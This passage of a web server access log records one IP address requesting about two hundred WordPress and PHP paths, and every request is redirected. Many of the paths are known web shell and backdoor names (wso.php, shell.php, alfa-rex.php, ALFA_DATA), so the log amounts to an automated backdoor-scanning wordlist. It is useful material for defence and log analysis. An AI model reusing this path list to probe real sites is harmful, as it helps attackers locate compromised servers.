/wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:35:33 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:35:34 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/sidwso.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:35:36 -0400] "GET /forum.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:35:38 -0400] "GET /wp-includes/js/jquery/ui/3k0sm2/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:35:42 -0400] "GET /wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:35:46 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:35:49 -0400] "GET /wp-includes/customize/amaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:35:51 -0400] "GET /update/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:35:54 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:35:56 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:35:58 -0400] "GET /wp-content/themes/about HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:36:00 -0400] "GET /alfanew.PhP7 HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:36:01 -0400] "GET /content.php888 HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:36:03 -0400] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:36:07 -0400] "GET /.well-known/pki-validation/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:36:09 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:36:10 -0400] "GET /smaxx.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:36:13 -0400] "GET /wp-content/plugins/urawmub/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:36:15 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/info.php.suspected HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:36:17 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:36:19 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:36:21 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:36:23 -0400] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:36:25 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:36:28 -0400] "GET /classwithtostring.php/rbzccnnp.php/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:36:32 -0400] "GET /wp-includes/radio.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:36:35 -0400] "GET /moderation.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:36:37 -0400] "GET /wp-content/plugins/fix/3.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:36:39 -0400] "GET /wp-includes/fonts/old.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:36:41 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:36:42 -0400] "GET /help.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:36:44 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:36:47 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:36:47 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:36:49 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:36:52 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:36:55 -0400] "GET /images/icons/rouyg/hppd/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:36:58 -0400] "GET /wp-includes/xBrain.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:37:01 -0400] "GET /wp-content/plugins/imfrxbc/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:37:04 -0400] "GET /wp-content/themes/fag0z08y/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:37:08 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:37:12 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:37:14 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:37:17 -0400] "GET /wp-content/blogs.dir/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:37:20 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:37:21 -0400] "GET /wp-admin/plugins/setup HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:37:24 -0400] "GET /html_editor.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:37:27 -0400] "GET /wp-content/plugins/qvkwtfvfez/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:37:30 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:37:32 -0400] "GET /dashboard.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:37:35 -0400] "GET /ccx/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:37:37 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:37:39 -0400] "GET /wp/wp-admin/wp-setup.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:37:42 -0400] "GET /images/partner/partner/images/imgs/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:37:47 -0400] "GET /wp/wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:37:51 -0400] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:37:54 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:37:57 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:37:59 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:38:02 -0400] "GET /css/dmtixucz/golden-access/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:38:05 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:38:07 -0400] "GET /wp-content/plugins/aezvzos/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:38:09 -0400] "GET /sim.php/wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:38:11 -0400] "GET /wp-includes/assets/script-loader.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:38:13 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:38:14 -0400] "GET /excel.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:38:16 -0400] "GET /php_editor.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:38:18 -0400] "GET /wp-includes/theme-compat/border.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:38:20 -0400] "GET /wp-admin/plugins/init HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:38:23 -0400] "GET /wp-content/uploads/2016/03/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:38:25 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:38:27 -0400] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:38:29 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:38:33 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:38:36 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:38:39 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:38:42 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:38:44 -0400] "GET /wp-includes/assets/XeRzQ.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:38:47 -0400] "GET /alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:38:49 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:38:52 -0400] "GET /wp-content/uploads/js_composer/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:38:55 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:38:57 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:38:59 -0400] "GET /.well-known/acme-challenge/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:39:03 -0400] "GET /wp-content/themes/tk9zgum9/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:39:07 -0400] "GET /wp-content/uploads/2023/11/system.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:39:11 -0400] "GET /.well-known/setup HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:39:15 -0400] "GET /wp-content/plugins/seoo/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:39:18 -0400] "GET /wp-content/plugins/wp-mail-smtp/src/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:39:21 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:39:24 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:39:28 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:39:31 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:39:34 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:39:37 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:39:40 -0400] "GET /xt/index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:39:45 -0400] "GET /wp-content/plugins/custom/issue.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:39:48 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:39:51 -0400] "GET /wp-content/themes/krs2kdwa/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:39:54 -0400] "GET /wp-includes/js/tinymce/themes/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:39:55 -0400] "GET /wp-admin/doc.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:39:58 -0400] "GET /wp-admin/css/colors/blue/blkaabkj.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:40:01 -0400] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:40:07 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:40:13 -0400] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:40:17 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:40:20 -0400] "GET /wp-content/plugins/backup-backup/includes/438788106...php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:40:23 -0400] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:40:26 -0400] "GET /wp-admin/uploads HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:40:29 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:40:33 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:40:37 -0400] "GET /css/sgd.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:40:40 -0400] "GET /wp-admin/YP1cuvy6WrD.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:40:42 -0400] "GET /LA.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:40:46 -0400] "GET /wp-content/plugins/gdrxuof/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:40:49 -0400] "GET /.well-known/about HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:40:53 -0400] "GET /wp-content/plugins/placester/views/partials/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:40:56 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:40:58 -0400] "GET /restart.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:41:01 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:41:04 -0400] "GET /wp-admin/includes/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:41:09 -0400] "GET /down.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:41:14 -0400] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:41:18 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:41:22 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:41:26 -0400] "GET /wp-includes/SimplePie/Cache/contents.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:41:29 -0400] "GET /wp-admin/network/sx.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:41:33 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:41:37 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:41:41 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:41:41 -0400] "GET /wp-includes/js/tinymce/wp-tinymce.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:41:43 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:41:46 -0400] "GET /Text/Diff/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:41:49 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:41:53 -0400] "GET /wp-content/upgrade/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:41:55 -0400] "GET /filter.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:41:56 -0400] "GET /wp-content/plugins/WordPressCore/blkfqnikz.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:42:00 -0400] "GET /wp-includes/gCdfg/index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:42:04 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:42:07 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:42:11 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:42:12 -0400] "GET /wp-includes/wp-widgets.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:42:16 -0400] "GET /tinyfilemanager/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:42:20 -0400] "GET /lai/robotica/wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:42:24 -0400] "GET /wp-content/plugins/upspy/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:42:30 -0400] "GET /thumbnail.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:42:36 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:42:41 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:42:46 -0400] "GET /wp-content/plugins/yfsmxkj/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:42:51 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:42:57 -0400] "GET /wp-content/themes/aahana/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:43:05 -0400] "GET /.well-known/pki-validation/gkiliuew.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:43:12 -0400] "GET /video.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:43:16 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:43:20 -0400] "GET /ALFA_DATA/alfacgiapi/function.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:43:24 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:43:26 -0400] "GET /vendor/bin/loader.php/wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:43:29 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:43:33 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:43:35 -0400] "GET /ern.PhP7 HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:43:38 -0400] "GET /upload/2021_02_08/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:43:41 -0400] "GET /wp-includes/customize/themes.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:43:44 -0400] "GET /payment.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:43:47 -0400] "GET /wp-init.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:43:51 -0400] "GET /indec.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:43:53 -0400] "GET /.well-known/plugins/default HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:43:55 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:43:57 -0400] "GET /chtmlfuns.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:43:59 -0400] "GET /assets/libs/filemanager/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:44:00 -0400] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:44:03 -0400] "GET /wp-includes/product.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:44:06 -0400] "GET /wp-content/upload.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:44:07 -0400] "GET /wp-admin/plugins/config HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:44:09 -0400] "GET /wp-includes/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:44:11 -0400] "GET /wp-content/plugins/fix/00.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:44:12 -0400] "GET /wp-includes/rest-api/ZVQCc/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:44:15 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:44:18 -0400] "GET /.well-known/acme-challenge/doc.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:44:20 -0400] "GET /wp-content/plugins/gzzmasp/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:44:23 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:44:25 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:44:29 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:44:32 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:44:36 -0400] "GET /estudiante16/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:44:41 -0400] "GET /access.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:44:44 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:44:46 -0400] "GET /wp-content/uploads/wp-booter.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:44:50 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:44:54 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:44:57 -0400] "GET /b0.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:44:59 -0400] "GET /invoice.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:45:04 -0400] "GET /logs_view.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:45:09 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:45:15 -0400] "GET /ern1.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:45:19 -0400] "GET /access_logs.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:45:22 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:45:25 -0400] "GET /wp-content/plugins/masterx/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:45:27 -0400] "GET /1.php7 HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:45:29 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:45:32 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:45:34 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:45:40 -0400] "GET /audio.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:45:44 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:45:48 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:45:53 -0400] "GET /activity.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:45:57 -0400] "GET /database.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:45:59 -0400] "GET /endpoint.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:46:01 -0400] "GET /wp-admin/css/colors/sunrise/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:46:04 -0400] "GET /admin.php7 HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:46:08 -0400] "GET /tutorial.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:46:12 -0400] "GET /logs.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:46:16 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:46:17 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:46:20 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:46:22 -0400] "GET /cgi-bin/upfile.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:46:24 -0400] "GET /cgi-sys/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:46:25 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:46:27 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:46:30 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:46:32 -0400] "GET /wp-content/themes/9geiaoo5/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:46:34 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:46:36 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:46:38 -0400] "GET /wp-content/plugins/whusrhk/ HTTP/1.1" 301 795 "-" "-" 13.82.181.88 - - [08/Apr/2025:02:46:40 -0400] 